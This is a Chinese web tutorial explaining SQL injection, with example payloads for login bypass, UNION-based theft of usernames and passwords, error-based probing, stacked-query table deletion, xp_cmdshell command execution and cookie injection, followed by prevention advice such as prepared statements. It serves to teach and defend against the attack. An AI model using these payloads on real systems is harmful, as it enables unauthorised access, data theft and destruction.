星驰编程网

免费编程资源分享平台_编程教程_代码示例_开发技术文章

什么是SQL注入攻击(SQL Injection)

1,定义:在构建数据库 SQL 语句时,攻击者在参数请求中注入恶意的 SQL 代码,并在在数据库中执行,操控数据库执行意图之外的操作。

2,目的:窃取数据、修改数据、删除数据、绕过身份验证、权限提升,执行系统命令等。

3,例如

3.1例:用户名admin,密码‘ or ‘1’=’1

注入前:select * from users where username = ‘admin’ and password = ‘1’
注入后:select * from users where username = ‘admin’ and password = ‘’ or ‘1’=‘1’

3.2例:用户名admin' -- 密码anything,其中 -- 是 SQL 的注释符号,忽略了密码条件

SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'

3.3例:输入用户名:admin' OR '1'='1 输入密码:anything,OR '1'='1' 总为 true

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'

3.4例:通过 UNION 将攻击者构造的查询结果与合法查询结果合并,从而获取敏感数据

参数' UNION SELECT null, username, password FROM users --
构造后SELECT id, name FROM users WHERE id = '' UNION SELECT null, username, password FROM users --'

3.5例:故意触发数据库错误,利用错误信息推测表名、列名或数据

' AND 1=CONVERT(int, (SELECT @@version)) --
SELECT * FROM users WHERE username = '' AND 1=CONVERT(int, (SELECT @@version)) --'

3.6例:堆叠查询注入,允许多条 SQL 语句同时执行

'; DROP TABLE users; --
SELECT * FROM users WHERE username = ''; DROP TABLE users; --';

3.7例:存储过程注入

'; EXEC xp_cmdshell('dir'); --
EXEC LoginProcedure 'username', ''; EXEC xp_cmdshell('dir'); --'

3.7例:Cookie 注入,修改浏览器存储的 Cookie 值进行注入。

Cookie: session_id=' OR '1'='1;

4,如何预防:将输入与 SQL 语句分离,避免输入被直接解析为 SQL 代码。

  • 1,过滤 SQL 语句的数中的特殊字符,比如单引号、双引号;
  • 2,限制参数输入的长度;
  • 3,参数有效性检验;
  • 4,使用预编译PrepareStatement
  • 5,不用拼接 SQL 字符串
控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言